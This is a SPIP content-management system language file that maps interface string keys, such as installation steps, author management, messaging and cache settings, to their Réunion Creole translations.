'info_connexion_base' => 'Dezièm étap : <b>Esèy lakostaz-labaz</b>',
'info_connexion_ldap_ok' => 'Lakostaz LDAP la finn marsé.</b><p>Ou pé bat-karé si létap answit.', # MODIF
'info_connexion_mysql' => 'Promyèr étap : <b>Out lakostaz SQL</b>',
'info_connexion_ok' => 'Lakostaz la finn marsé.',
'info_contact' => 'Kontak',
'info_contenu_articles' => 'Kosa bann zartik i kontyin ',
'info_creation_paragraphe' => '(Pou kré bann paragraf, lès sinpman trwakat liyn vid.)', # MODIF
'info_creation_rubrique' => 'Avand ékrir bann zartik minm ,<br /> i dwa kré inn rubrik o mwin.<br />',
'info_creation_tables' => 'Katryèm étap : <b> kréasyon inndé tab labaz</b>',
'info_creer_base' => '<b>Kré</b> inn nouvèl bazdodné :',
'info_dans_rubrique' => 'Dann rubrik-la :',
'info_date_publication_anterieure' => 'Avans ladat lapiblikasyon :',
'info_date_referencement' => 'DAT LO RÉFÉRANSMAN SITWÈB-LA :',
'info_derniere_etape' => 'Dernyèr étap : <B > Ala ! Tousala lé fini !',
'info_derniers_articles_publies' => 'Out bann dèrnyé zartik an liyn',
'info_desactiver_messagerie_personnelle' => 'Ou pé fé zwé ou détour, kom sak i vé, out prop kazmodékri si lo sitwèb.',
'info_descriptif' => 'Sak i kontyin :',
'info_discussion_cours' => 'Bann kozman ou lé apré kozé ',
'info_ecrire_article' => 'Ou i dwa dabor kré inn promyé rubrik avand ékri out bann zartik.',
'info_email_envoi' => 'Ladrès po lanvwa inn lilèl(lépa obligatwar)',
'info_email_envoi_txt' => 'Mèrsi indiké tèrla out ladrès pou anvwa bann zimèl (sinonsa ladrès déstinatèr li sra ansèrvi osi kom ladrès lanvwa) :',
'info_email_webmestre' => 'Ladrès imèl lo wèbmèt (lé pa obligatwar)', # MODIF
'info_entrer_code_alphabet' => 'Mèt isi lo kod lalfabé ifo anserv :',
'info_envoi_email_automatique' => 'Anvwa inn limèl otomatikman',
'info_envoyer_maintenant' => 'Anvwa astèr',
'info_etape_suivante' => 'Pas létap answit',
'info_etape_suivante_1' => 'I pé pas létap answit.',
'info_etape_suivante_2' => 'I pé pas létap answit.',
'info_exportation_base' => 'Lésportasyon labaz aprosan @archive@',
'info_facilite_suivi_activite' => 'Pou swiv fasilman laktivité léditoryal sir lo sit, SPIP i pé anvwa inn zanons dann fil-imèl pou tout bann zitilizatèr anrozistré. Zanons komsa i kadr tout bann dommand pou lapiblikasyon oubyinsa bann konfirmasyon do dernyé bann zartik.',
'info_fichiers_authent' => 'Bann fisyé pou lotantifikasyon « .htpasswd »',
'info_forums_abo_invites' => 'Out sit néna bann forom si labonman ; Ifo bann vizitèr li inskri azot si lo sit piblik.',
'info_gauche_admin_effacer' => '<b>Pazwèb-la, lé sèlman ouvèr pou inndé responsab lo sit.</b><p> Li donn laksé sir bann fonksyon pou lantrotyen tèknik. Nana désertin sak i domann aou fé zwé inn prosésus spésial pou lotantifikasyon. Dann ka-la inn laksé FTP lé néséser pou sanz inn sizé sir lo sit.', # MODIF
'info_gauche_admin_tech' => '<b>Pazwèb-la, lé sèlman ouvèr pour inndé responsab lo sit.</b><p> Li donn laksé sir bann fonksyon pou lantrotyen tèknik. Nana désertin sak i domann aou fé zwé inn prosésus spésial pou lotantifikasyon. Dann ka-la inn laksé FTP lé
néséser pou sanz inn sizé sir lo sit.', # MODIF
'info_gauche_admin_vider' => '<b>Pazwèb-la, lé sèlman ouvèr pou inndé responsab lo sit.</b><p> Li donn laksé sir bann fonksyon pou lantrotyen tèknik. Nana désertin sak i domann aou fé zwé inn prosésus spésyal pou lotantifikasyon. Dann ka-la inn laksé FTP lé néséser pou sanz inn sizé sir lo sit.', # MODIF
'info_gauche_auteurs' => 'Ou va trouv tèrla tout bann lotèr lo sitwèb.
Bann drwa pou bann dalon lé kadré èk la koulèr likonn azot (komandèr= vèr ;lotèr = zonn).',
'info_gauche_auteurs_exterieurs' => 'Bann lotèr-déor, sak nana pwinn laksé sir lo sitwèb, lé présizé èk inn likonn blé ; bann lotèr dégréné lé kadré èk inn korbéy.', # MODIF
'info_gauche_messagerie' => 'Kazmodékri-la i permé azot mèt ansanm pou lanvwa inndé modékri antrozot, gard out prop bann gardandèt, ou byin sa ankor : afis tout bann zanons sir pazlakèy dann zéspas privé (si ou lé komandèr).',
'info_gauche_numero_auteur' => 'LOTÈR NIMÉRO',
'info_gauche_statistiques_referers' => 'Pazwèb-la i prézant lo fil <i>bann référèr</i>, ou poutoudir lo fil bann sit sak i gatir out prop sitwèb. Rannkont-la lé selman valab po yèr é zordi : fil-la i ropat zéro tout bann 24H.',
'info_gauche_visiteurs_enregistres' => 'Ou va trouv tèrla bann vizitèr anroziztré sir figirwèb piblik (bann forom sir labonman).',
'info_generation_miniatures_images' => 'La kréasyon bann miniatyr pou bann zimaz',
'info_gerer_trad' => 'Zot i vé zèr bann gatir pou bann tradiksyon ?',
'info_hebergeur_desactiver_envoi_email' => 'Nana désertin lébèrzèr sak i défalk lanvwa otomatik do bann limèl, dopwi
zot bann servèr. Dann ka-la, bann fonksyonalité
SPIP anba-la, i sava pa marsé.',
'info_hier' => 'Yèr :',
'info_historique_activer' => 'Po fé roulé lo swivi tout sat la sanzé',
'info_historique_affiche' => 'Afisé versyon-la',
'info_historique_comparaison' => 'Kompar',
'info_historique_desactiver' => 'Dégrèn lo swivi tout sak la sanzé',
'info_historique_texte' => 'Lo swivi sat la sanzé i pèrmé gard listwar out bann sanzman andann zartik, è afisé bann diférans sanm tout bann versyon.',
'info_identification_publique' => 'Out lidantité piblik...',
'info_image_process' => 'Mersi swazi lo méyèr manyir pou fabrik out bann vinyèt sam apiyé si limaz i korespon.',
'info_image_process2' => '<b>Pangar</b> <i>Si néna okinn zimaz sat i pé vwar an liny, i pé dir lo sèrvèr li ébèrz out sitwèb lé pa kofigiré po akèy bann zouti-la. Ifo zot i koz èk lo résponsab po domann ali tout bann zekstansyon « GD » ou « Imagick ».</i>', # MODIF
'info_images_auto' => 'Ban zimaz-la lé kalkilé otomatikman',
'info_informations_personnelles' => 'Sinkyèm étap : <b>Bann zinformasyon personèl</b>',
'info_inscription_automatique' => 'Pou inskri otomatikman tout bann nouvo lotèr',
'info_jeu_caractere' => 'Lansamn bann karaktèr lo sit',
'info_jours' => 'bann zor',
'info_laisser_champs_vides' => 'lès a bann karo-la vid)',
'info_langues' => 'Bann lang lo sitwèb',
'info_ldap_ok' => 'Lotantifikasyon LDAP li lé instalé.',
'info_lien_hypertexte' => 'gatiraz wèb :',
'info_liste_redacteurs_connectes' => 'Fil bann lotèr an liyn',
'info_login_existant' => 'Nondkod-la li lé déza anservi.',
'info_login_trop_court' => 'Nondkod-la lé takini : ékart ali.',
'info_maximum' => 'Pli gran siksé :',
'info_meme_rubrique' => 'Andann mèm ribrik-la',
'info_message' => 'Modékri dann',
'info_message_efface' => 'MODÉKRI DÉGRÉNÉ',
'info_message_en_redaction' => 'Out bann modékri lé apré lékritir ',
'info_message_technique' => 'Lavi tèknik :',
'info_messagerie_interne' => 'Kazmodékri',
'info_mise_a_niveau_base' => 'arnivèlman out labaz SQL',
'info_mise_a_niveau_base_2' => '{{Tansyon pangar !}} Ou nana finn instalé inn verszyon
vyé fisyé SPIP. Versyon-la lé pli zansyinn sak lété
avan sir lo sit : out bazdodné i sava dégréné
oubyinsa out siwèb minm i sava pli marsé<br />{{Lé néséser arinstal tout bann
fisyé SPIP.}}',
'info_modifier_rubrique' => 'Sanz la rubrik :',
'info_modifier_titre' => 'Sanz : @titre@',
'info_mon_site_spip' => 'Sit SPIP amwin',
'info_mot_sans_groupe' => '(Bann mo-la nana pwinn group...)',
'info_moteur_recherche' => 'Rodèr dodan',
'info_moyenne' => 'Mwayinn :',
'info_multi_articles' => 'Fé zwé lo "méni-déroulèr bann lang" sir bann zartik ?',
'info_multi_cet_article' => 'Patwa lartik-la :',
'info_multi_langues_choisies' => 'Swazi anba-tèrla bann lang ou vé pèrmèt out bann zitilizatèr i ansèrv sir out sitwèb.
Zot i pé pa dégrèn bann lang sak lé déza prézan sir out sitwèb (ni afis azot dabor).
',
'info_multi_rubriques' => 'Fé zwé lo méni-déroulèr pou bann lang si bann ribrik ?',
'info_multi_secteurs' => '...sèlman pou bann ribrik ou la plas dann rasine ?',
'info_nom' => 'Non',
'info_nom_destinataire' => 'Non lo korespondan',
'info_nom_site' => 'Lo non out sitwèb ',
'info_nombre_articles' => '@nb_articles@ bann zartik,',
'info_nombre_partcipants' => 'BANN DALON DANN KOZMAN :',
'info_nombre_rubriques' => '@nb_rubriques@ bann rubrik,',
'info_nombre_sites' => '@nb_sites@ bann sitwèb,',
'info_non_deplacer' => 'Mèrsi pa dékalé...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'SPIP i pé avwa souvan inn zanons bann dernyèr nouvèlté si lo sitwèb (bann zartik èk tit-nouvèl
la finn dèt publyé).',
'info_non_envoi_liste_nouveautes' => 'Ampès anvwa lo fil bann nouvèlté',
'info_non_modifiable' => 'ou pé pa sanz ali',
'info_non_suppression_mot_cle' => 'Mi vé pa dégrèn molaklé-la.',
'info_notes' => 'Bann komantèr',
'info_nouveaux_message' => 'Bann nouvo modékri',
'info_nouvel_article' => 'Nouvo lartik',
'info_nouvelle_traduction' => 'Nouvèl tradiksyon :',
'info_numero_article' => 'LARTIK NIMÉRO :',
'info_obligatoire_02' => '[Obligatwar]', # MODIF
'info_option_accepter_visiteurs' => 'Asèpt bann vizitèr i inskri azot si lo sit piblik',
'info_option_faire_suivre' => 'Pou fé swiv bann modékri lo forom a tout bann lotèr bann zartik',
'info_option_ne_pas_accepter_visiteurs' => 'Arfiz bann vizitèr i inskri azot',
'info_options_avancees' => 'BANN ZOPSYON AVANSÉ',
'info_ortho_activer' => 'Roul ron lo korèktèr po la grafi',
'info_ortho_desactiver' => 'Dégrènn lo korèktèr po la grafi',
'info_ou' => 'ou...',
'info_page_interdite' => 'Pazwèb intèrdi',
'info_par_nombre_article' => '(pou lo nonb bann zartik)',
'info_passe_trop_court' => 'Out modpas lé tro takini.',
'info_passes_identiques' => 'Bann dé modpass-la lé pa parèy.',
'info_pense_bete_ancien' => 'Out bann vyé gardantèt', # MODIF
'info_plus_cinq_car' => 'pli dé 5 karaktèr-limprimri',
'info_plus_cinq_car_2' => '(Pli dé 5 karaktèr-limprimri)',
'info_plus_trois_car' => '(Pli dé 3 karaktèr-limprimri)',
'info_popularite' => 'Koman lé populèr : @popularite@ ; bann vizit : @visites@',
'info_popularite_4' => 'koman lé populèr : @popularite@ ; bann vizit : @visites@',
'info_post_scriptum' => 'Koz-Déryèr',
'info_post_scriptum_2' => 'Koz-déryèr :',
'info_pour' => 'pou',
'info_preview_admin' => 'Bann komandèr sèlman i pé vwar lo sit avan',
'info_preview_comite' => 'Tout bann rédaktèr i pé vwar lo sit avan',
'info_preview_desactive' => 'Manyir po vwar lo sit avan lé tout dégréné-la',
'info_preview_texte' => 'Lé posib vwar lo sit avan komsi tout bann zartik èk bann tit-nouvèl (sat néna omwin lo statu « pou pibliyé ») zot sré astèr an liny. Ou pé swazi si lé sèlman po komandèr, po rédaktèr ou si lé pa posib ni po lin ni po lot. ',
'info_principaux_correspondants' => 'Out méyèr dalon po koresponn',
'info_procedez_par_etape' => 'azi étap sanm étap',
'info_procedure_maj_version' => 'Lé nésésèr fé zwé arnouvèlman la bazdodné pou giny roul ron la nouvèl
versyon SPIP.',
'info_ps' => 'K.D',
'info_publier' => 'pibliyé',
'info_publies' => 'Out bann zartik an liyn',
'info_question_accepter_visiteurs' => 'Si out bann lékèlet i permé out bann vizitèr inskri azot si lo sitwèb, anon fé zwé lopsyon anba-terla :',
'info_question_inscription_nouveaux_redacteurs' => 'Indik si ou laksèp linskrisyon bann nouvo lotèr dopwi lo sit piblik ? Si
ou vé, bann lotèr i poura inskri azot èk lo formulèr otomatik. Zot i poura akosté
sir figirwèb privé é propoz zot prop zartik minm.
<blockquote><i>Dan moman linskrisyon, bann zitilizatèr i giny inn limèl otomatikman. Limèl-la i donn azot bann kod lakostaz sir figirwèb privé. Nana désertin zéberzèr
sak i dégrèn lanvwa bann limèl sir zot bann servèr : dann kala, linskrisyon otomatik li lé pa posib', # MODIF
'info_question_utilisation_moteur_recherche' => 'Indik si ou vé ansèrv lo rodèr-dodan SPIP
(si ou défalk ali, lo sistèm lé pli rapid.)',
'info_qui_edite' => '@nom_auteur_modif@ a travaillé sur ce contenu il y a @date_diff@ minutes', # MODIF
'info_racine_site' => 'Rasin lo sitwèb',
'info_recharger_page' => 'Mersi rosarz lapazwèb-la disi inn ti moman.',
'info_recherche_auteur_a_affiner' => 'Néna trod bann rézilta pou "@cherche_auteur@" ; mersi kadr myé kosa i rod.',
'info_recherche_auteur_ok' => 'Nana plizyèr bann lotèr trouvé pou "@cherche_auteur@" :',
'info_recherche_auteur_zero' => 'Néna pa okinn rézilta pou "@cherche_auteur@".',
'info_recommencer' => 'Mersi arcomans inn ot fwa.',
'info_redacteur_1' => 'Lotèr',
'info_redacteur_2' => 'sak i pé akost léspas privé (<i>konséyé</i>)',
'info_redacteurs' => 'Bann lotèr',
'info_redaction_en_cours' => 'LÉ APRÉ LÉKRITRIR',
'info_redirection' => 'Tourné-viré (artourn sir inn somin wèb)',
'info_refuses' => 'Out bann zartik lé afronté',
'info_reglage_ldap' => 'Bann lopsyon : <b>Réglaz linportasyon LDAP</b>',
'info_renvoi_article' => '<b>Tourné-viré.</b> Lartik-la i batavan sir pazwèb-la :',
'info_reserve_admin' => 'Bann komandèr sélman i pé sanz ladrès-la.',
'info_restreindre_rubrique' => 'Mèt inn limit pou lazéstyon la rubrik-la :',
'info_resultat_recherche' => 'Bann rézilta rodaz :',
'info_rubriques' => 'Bann rubrik',
'info_rubriques_02' => 'bann rubrik',
'info_rubriques_trouvees' => 'Bann rubrik la finn dèt trouvé',
'info_rubriques_trouvees_dans_texte' => 'Bann rubrik la fin dèt trouvé(dann tèks)',
'info_sans_titre' => 'Néna pwinn titr',
'info_selection_chemin_acces' => '<b>Swazi</b> tèrla lo somin-laksé dann karné :',
'info_signatures' => 'bann sinyatir',
'info_site' => 'Sitwèb',
'info_site_2' => 'sitwèb :',
'info_site_min' => 'sitwèb',
'info_site_reference_2' => 'Sitwèb référansé',
'info_site_web' => 'SITWÈB :', # MODIF
'info_sites' => 'bann sitwèb',
'info_sites_lies_mot' => 'Bann sit référansé sak lé gatiré èk molalklé-la',
'info_sites_proxy' => 'Anserv inn proksi',
'info_sites_trouves' => 'Bann sitwèb trouvé',
'info_sites_trouves_dans_texte' => 'Bann sitwèb trouvé (dann lo tèks)',
'info_sous_titre' => 'Soutitr :',
'info_statut_administrateur' => 'Komandèr',
'info_statut_auteur' => 'Lo statu lotèr-la :', # MODIF
'info_statut_auteur_a_confirmer' => 'Ou i dwa konfime out linkrisyon ',
'info_statut_auteur_autre' => 'In ot stati :',
'info_statut_efface' => 'Dégréné',
'info_statut_redacteur' => 'Lotèr',
'info_statut_utilisateurs_1' => 'Lo statu sanswa bann zitilizatèr déor',
'info_statut_utilisateurs_2' => 'Swazi lo ran ou vé donn do moun prézan dann karné LDAP, kank moun-la i konèk inn promyèr fwa. Ou sra kav answuit sanz valèr ou la donn azot (o ka sanm lo ka).',
'info_suivi_activite' => 'Swivi laktivité léditoryal',
'info_surtitre' => 'Sirtitr :',
'info_syndication_integrale_1' => 'Out si i propoz bann fisyé pou la sindikasyon (ann gadé « <a href="@url@">@titre@</a> »).',
'info_syndication_integrale_2' => 'Eske ou i vé donn tout ban lartik byen komplé, ou sèlman in ti rézimé ek détrwa sentenn karactèr ?',
'info_taille_maximale_vignette' => 'La pli grann tay lo sistèm i pé kré pou bann vinyèt :',
'info_terminer_installation' => 'Ou pé termin astèr lamanyir instalé SPIP an mars normal.',
'info_texte' => 'Tèks',
'info_texte_explicatif' => 'Esplik inn pé ',
'info_texte_long' => '(tèks-la lé lon : akoz li aparé astèr an plizyèr karo, sak i sava kolé dinn bou aprè lakonfirmasyon.)',
'info_texte_message' => 'Lo tèks out modékri :', # MODIF
'info_texte_message_02' => 'Lo tèks lo modékri',
'info_titre' => 'Titr :',
'info_total' => 'Boudikont :',
'info_tous_articles_en_redaction' => 'Tout bann zartik lé apré lékritir',
'info_tous_articles_presents' => 'Tout bann zartik pibliyé dann rubrik-la',
'info_tous_les' => 'tout bann :',
'info_tous_redacteurs' => 'Bann zanons pou tout bann lotèr',
'info_tout_site' => 'Lo sit antyé',
'info_tout_site2' => 'Lartik lé pa tradwi andan lo patwa-la.',
'info_tout_site3' => 'Lartik-la, li lé tradwi andan lo patwa-la, somansa ni la port bann sanzman si lartik lorizin. Larnouvèlman la tradiksyon lé nésésèr.',
'info_tout_site4' => 'Lartik lé tradwi andan lo patwa-la. Lo tradiksyon lé bon zordi. ',
'info_tout_site5' => 'Lartik lorizin.',
'info_tout_site6' => '<b>Tansyon pangar :</b> bann zartik lorizin sèlman lé afisé.
Bann tradiksyon lé prézanté an gatiraz,
sanm in koulèr i présiz son léta :',
'info_travail_colaboratif' => 'Mèt ansamn travay si bann zartik',
'info_un_article' => 'inn lartik,',
'info_un_site' => 'inn sit,',
'info_une_rubrique' => 'inn rubrik,',
'info_une_rubrique_02' => '1 rubrik',
'info_url' => 'URL :',
'info_url_site' => 'URL LO SITWÈB :',
'info_urlref' => 'Gatir wèb :',
'info_utilisation_spip' => 'Astèr ou pé anserv lo sistèm lapiblikasyon SPIP...',
'info_visites_par_mois' => 'Afis pou lo mwa :',
'info_visiteur_1' => 'Vizitèr',
'info_visiteur_2' => 'lo figirwèb',
'info_visiteurs' => 'Bann vizitèr',
'info_visiteurs_02' => 'Bann vizitèr sir figirwèb',
'install_echec_annonce' => 'Instalasyon-la li pè sirman dègrn ali ou sar don ou in sit sat lé pa kav roulé...',
'install_extension_mbstring' => 'SPIP li roul pa èk :',
'install_extension_php_obligatoire' => 'SPIP li domann léstansyon php :',
'install_select_langue' => 'Swazi inn kozé e klik sir lo bouton « swivan » pou fé zwé lamanyir linstalasyon.',
'intem_redacteur' => 'lotèr',
'item_accepter_inscriptions' => 'Asèpt bann zinskrisyon',
'item_activer_messages_avertissement' => 'Fé zwé bann modékri pou lavizman',
'item_administrateur_2' => 'komandèr',
'item_afficher_calendrier' => 'Afis dann kalandryé',
'item_autoriser_documents_joints' => 'Permèt do zwinn inndé dokiman dann bann zartik',
'item_autoriser_documents_joints_rubriques' => 'Permèt azout bann dokiman dann bann rubrik',
'item_autoriser_syndication_integrale' => 'Pou don a zot tout lartik byen komplé andann bann fisyé pou la sindikasyon',
'item_choix_administrateurs' => 'bann komandèr',
'item_choix_generation_miniature' => 'Pou kré otomatikman bann zimaz-minyatir (bann vinyèt).',
'item_choix_non_generation_miniature' => 'Pou anpès kré otomatikman bann zimaz-minyatir (bann vinyèt).',
'item_choix_redacteurs' => 'bann lotèr',
'item_choix_visiteurs' => 'bann vizitèr sir figirwèb',
'item_creer_fichiers_authent' => 'Pou kré bann fisyé .htpasswd',
'item_limiter_recherche' => 'Mèt inn limit pou lo rodaz zinformasyon sir out sitwèb',
'item_login' => 'Nondkod',
'item_mots_cles_association_articles' => 'èk bann zartik',
'item_mots_cles_association_rubriques' => 'èk bann rubrik',
'item_mots_cles_association_sites' => 'èk bann sit référansé ou sindiké.',
'item_non' => 'Non',
'item_non_accepter_inscriptions' => 'Anpès asèpt bann zinskrisyon',
'item_non_activer_messages_avertissement' => 'Anpès anvwa bann modékri pou lavizman',
'item_non_afficher_calendrier' => 'Anpès afis lo kalandryé',
'item_non_autoriser_documents_joints' => 'Anpès zwinn inndé dokiman dann bann zartik',
'item_non_autoriser_documents_joints_rubriques' => 'Anpès zwinn inndé dokiman dann bann rubrik',
'item_non_autoriser_syndication_integrale' => 'Pour donn azot selman in rézimé',
'item_non_creer_fichiers_authent' => 'Anpès kré bann fisyé-la',
'item_non_gerer_statistiques' => 'Anpès zèr bann sifklé pou bann vizit',
'item_non_limiter_recherche' => 'Ékart lo rodaz pou lo kontnu bann sit référansé',
'item_non_publier_articles' => 'Bann zartik lé pa an liyn avan ladat sak lé di.',
'item_non_utiliser_moteur_recherche' => 'Anpès ansèrv lo rodèr',
'item_nouvel_auteur' => 'Nouvo lotèr',
'item_nouvelle_rubrique' => 'Nouvèl rubrik',
'item_oui' => 'Wi',
'item_publier_articles' => 'Mèt an liyn tout bann zartik san gèt ladat lapiblikasyon.',
'item_reponse_article' => 'Répons lartik',
'item_utiliser_moteur_recherche' => 'Ansèrv lo rodèr',
'item_visiteur' => 'vizitèr',
// J
'jour_non_connu_nc' => 'p.k. (pa konu)',
// L
'lien_ajout_destinataire' => 'Azout korèspondan-la',
'lien_ajouter_auteur' => 'Azout lotèr-la',
'lien_ajouter_participant' => 'Azout inn dalon',
'lien_email' => 'limèl',
'lien_nom_site' => 'LO NON LO SITWÈB :',
'lien_retirer_auteur' => 'Artir lotèr-la',
'lien_retrait_particpant' => 'Artir dalon-la',
'lien_site' => 'sitwèb',
'lien_supprimer_rubrique' => 'dégrèn rubrik-la',
'lien_tout_deplier' => 'Dépliy a tout',
'lien_tout_replier' => 'Arpliy a tout ',
'lien_trier_nom' => 'Prézant swivan lo non',
'lien_trier_nombre_articles' => 'Prézant swivan lo nonb do bann zartik',
'lien_trier_statut' => 'Prézant swivan lo statu',
'lien_voir_en_ligne' => 'GÈT AN LIYN :',
'logo_article' => 'LOGO LARTIK-LA', # MODIF
'logo_auteur' => 'LOGO LOTÈR-LA', # MODIF
'logo_rubrique' => 'LOGO RUBRIK-LA', # MODIF
'logo_site' => 'LOGO SITWÈB-LA', # MODIF
'logo_standard_rubrique' => 'LOGO POU TOUT BANN RUBRIK', # MODIF
'logo_survol' => 'LOGO POU LOFÉ ', # MODIF
// M
'menu_aide_installation_choix_base' => 'Lo swa out bazdodné',
'module_fichier_langue' => 'Fisyé lang',
'module_raccourci' => 'Rédiyon',
'module_texte_affiche' => 'Tèks afisé',
'module_texte_explicatif' => 'Ou pé mèt bann rédiyon-la anadan out bann skélèt pou sit piblik. Banna i sava èt dirékman tradwui andan diférant lang si néna byin in fisyé lang pou zot. ',
'module_texte_traduction' => 'Lo fisyé lang « @module@ » , zot i va trouv ali po :',
'mois_non_connu' => 'lé pa konu',
// O
'onglet_repartition_actuelle' => 'astèr',
// P
'plugin_etat_developpement' => 'lé apré dévlopman',
'plugin_etat_experimental' => 'lé selman espérimental',
'plugin_etat_stable' => 'Lé korek',
'plugin_etat_test' => 'lé pou testé',
'plugins_liste' => 'La lis bann plugin',
// R
'repertoire_plugins' => 'Répertwar :',
// S
'statut_admin_restreint' => '(komandèr ti-drwa)', # MODIF
// T
'taille_cache_image' => 'Ban zimaz sak SPIP i pé kalkilé otomatikman (tite-zimaz dann dokiman, bann non i prézant grafikman, bann fonkson matématik dan forma TeX...) zot i prann andan répertwar @dir@ in léspas total sat i ariv @taille@.',
'taille_cache_infinie' => 'Sit-la li di pas ryin si tay lo répèrtwar <code>CACHE/</code>.',
'taille_cache_maxi' => 'SPIP li sar esayé armèn lo tay lo répertwar <code>CACHE/</code> pou lo sit-la environ <b>@octets@</b> bann doné.',
'taille_cache_octets' => 'Lo ty lo CACHE li lé astèr de @octets@.', # MODIF
'taille_cache_vide' => 'Lo kas lé vid.',
'taille_repertoire_cache' => 'Tay lo répertwar kas',
'text_article_propose_publication' => 'Lartik-la lé propozé pou lapiblikasyon. Ézit pa donn out manyèr vwar dann forom lartik-la (anba lapaz).', # MODIF
'texte_acces_ldap_anonyme_1' => 'Néna désertin servèr LDAP i afront tout bann laksé anonim. Dan ka-la, lé néséser indik inn promyé lidentifian pou laksé. Aprésa sèlman, ou i sra kav rod bann zinformasyon dan karné. Souvandfwa pwatan, ou poura lès bann karo-la vid. ',
'texte_admin_effacer_01' => 'Komand-la i dégrèn <i>tout</i> lo kontnu la bazdodné,
<i>tout</i> minm bann laksè lotèr èk komandèr. Si ou i anserv ali, i sra nésésèr fé zwé inn nouvèl
linstalasyon do SPIP pou kré inn nouvèl labaz èk inn promyé laksé komandèr.',
'texte_adresse_annuaire_1' => '(Si out karné lé instalé sir lamasin paréy minm sitwèb-la, néna grannsans i sra pour èt « localhost ».)',
'texte_ajout_auteur' => 'Lotèr answit la fin dèt azouté pou lartik-la :',
'texte_annuaire_ldap_1' => 'Si ou nana laksé sir inn karné(LDAP), i pé inport otomatikman bann zitilizatèr pou mèt tout zot ansanm sir out sit SPIP.',
'texte_article_statut' => 'Lartik-la lé :',
'texte_article_virtuel' => 'Lartik virtyèl',
'texte_article_virtuel_reference' => '<b>Lartik virtyel :</b> lé référansé dann out sit SPIP, somansa li lé artourné sir inn ot URL(tourné-viré). Pou dégrèn lartournaz, éfas anlèr son ladrès URL.',
'texte_aucun_resultat_auteur' => 'Nana pwinn rézilta pou "@cherche_auteur@"',
'texte_auteur_messagerie' => 'Sit-la i pé armont toultan tout bann lotèr an liyn. Sa lé itil pour mèt ansanm bann modékri, dann tan minm moun lé sir lo sit (mé kank lakazmodékri lé dégréné anlèr, list-la lé pa visib). Ou pé swazi kas aou dann la list-la (bann zitilizatèr i pé pa vwar aou somansa ou pé vwar azot).',
'texte_auteur_messagerie_1' => 'Sit-la i permé lanvwa bann modékri èk lakréasyon bann forom privé antrozot bann dalon si lo sit. Ou lé lib mèt ansanm ou arfiz aparèt dann forom kozman-la.',
'texte_auteurs' => 'BANN LOTÈR',
'texte_choix_base_1' => 'Swazi out labaz :',
'texte_choix_base_2' => 'Servèr SQL li kontyin plizyèr bann bazdodné.',
'texte_choix_base_3' => '<b>Swazi</b> anba terlà sak out lébérzèr la donn aou :',
'texte_commande_vider_tables_indexation' => 'Itiliz komand-la pou vid bann tab lindèksasyon sak lo rodèr SPIP i
anserv astèr. Kom sa ou sava giny inn pé plid léspas-diks.',
'texte_compresse_ou_non' => '(i pé konpèrs ali si ou vé)',
'texte_compte_element' => '@count@ zéléman',
'texte_compte_elements' => '@count@ bann zéléman',
'texte_connexion_mysql' => 'Gèt bann zinformasyon out léberzèr la don aou : si li néna SQL, ou dwa trouv bann kod pou lakostaz sir lo servèr SQL.', # MODIF
'texte_contenu_article' => '(sak i va trouv dann lartik-la.)',
'texte_contenu_articles' => 'Sélon lamakèt ou la swazi pou lo sit, i pé désid sak désèrtin zéléman
dann bann zartik lé pa itilizé.
Anserv lalist anba-la pou kadr byin sak lé disponib.',
'texte_crash_base' => 'Si out bazdodné la finn
dégréné, éséy aranz ali otomatikman.',
'texte_creer_rubrique' => 'Lé nésésèr ou kré innn rubrik avand ou<br /> pé ékri inn lartik. ',
'texte_date_creation_article' => ' LADAT LAKRÉASYON LARTIK :',
'texte_date_publication_anterieure' => 'Dat li té pibliyé avan :',
'texte_date_publication_anterieure_nonaffichee' => 'Afis pa okinn dat pou in rédaksyon avan.',
'texte_date_publication_article' => 'LADAT LAPIBLIKASYON AN LIYN :',
'texte_descriptif_petition' => 'Dékri inn pé kosa ifo sinyé',
'texte_descriptif_rapide' => 'Dékri vitman kosa i lé',
'texte_effacer_base' => 'Dégrèn bazdodné SPIP',
'texte_effacer_donnees_indexation' => 'Dégrèn tout bann doné pou lindéksasyon',
'texte_en_cours_validation' => 'Bann zartik èk bann rubrik anba-la, lé prézanté pou lapiblikasyon. Ézit pas donn ani out manyirdvwar dann bann forom i bord azot.', # MODIF
'texte_enrichir_mise_a_jour' => 'Pou rannd pli ris lamanyir out sit lé mi an paz, i pé anserv « bann rédiyon linprimri ».',
'texte_fichier_authent' => '<b>Présiz byin si out sistèm SPIP li dwa kré bann fisyé spésifik <tt>.htpasswd</tt>
é <tt>.htpasswd-admin</tt> dann répertwar @dossier@ ?</b><p>
Fisyé-la, li pé èd aou pou limit laksé désertinn lotèr ou minm bann komandèr sir sèrtin kwinn out sit
(pa égsanp : zot i sra pa kav lir lo program-déor pou sifklé bann vizit).<p>
Si fisyé-la, li sèr pa ryen sir out sitwèb, lès la valèr otomatik pou lopsyon-la (dann ka-la, lo fisyé, li sra pa kréé).', # MODIF
'texte_informations_personnelles_1' => 'Astèr lo sistèm i sra pou kré aou inn laksé personalizé si lo sitwèb.',
'texte_informations_personnelles_2' => '(Gèt byin tousa : si néna inn nouvèl linstalasyon é si laksé i mars touzour, i pé ', # MODIF
'texte_introductif_article' => '(Tèks pour anbèk lartik.)',
'texte_jeu_caractere' => 'Ni konsey a ou anserv, pou out sit, lalfabé inivérsel (<tt>utf-8</tt>) : li permé afisé in teks ek tout bann lang, sank ou gigny okinn larlik ek la konpatinilité d ban navigatèr modern.',
'texte_jeu_caractere_2' => 'Réglaz-la la pwinnd léfé sir sak ou la déza mi an liyn dann tan dèryèr. Akoz sa minm, néna inn riks bann tèks déza prézan sir lo sit, i afis pa zot-minm byin korèkman. Pwatan, lé pa inn gro larlik, akoz ou pé touzour rebrous-somin èk lo réglaz davan.',
'texte_jeu_caractere_3' => 'Ou sit la i anserv komela lo jéd karactèr swivan :',
'texte_jeu_caractere_4' => 'Si li korespon pa ek la réalité out ban doné (aprè ou la restora out bazdodne pa examp), ou si <em>ou la zust finn komansé out sit</em> sat ou vé vwar ek in ot jéd bann karactèr, mersi ou mèt lo non terla :',
'texte_jeu_caractere_conversion' => 'Pangar : Ou i pé désidé pass tout bann teks out sit(zartik, tite-nouvel, forom étousala.) andan <tt>utf-8</tt>. Ifo sempman ou sar bat karé bat sir<a href="@url@">sédir lo paj pou lo chanjman andan forma utf-8</a>.',
'texte_lien_hypertexte' => '(Si out modékri-la i rannkont inn larlik èk inn lartik an liyn, ou si té sinyalé pé plid zinformasyon sir in ot paz, mersi indik tèrla lo non lapaz ou di èk son ladrès URL.)',
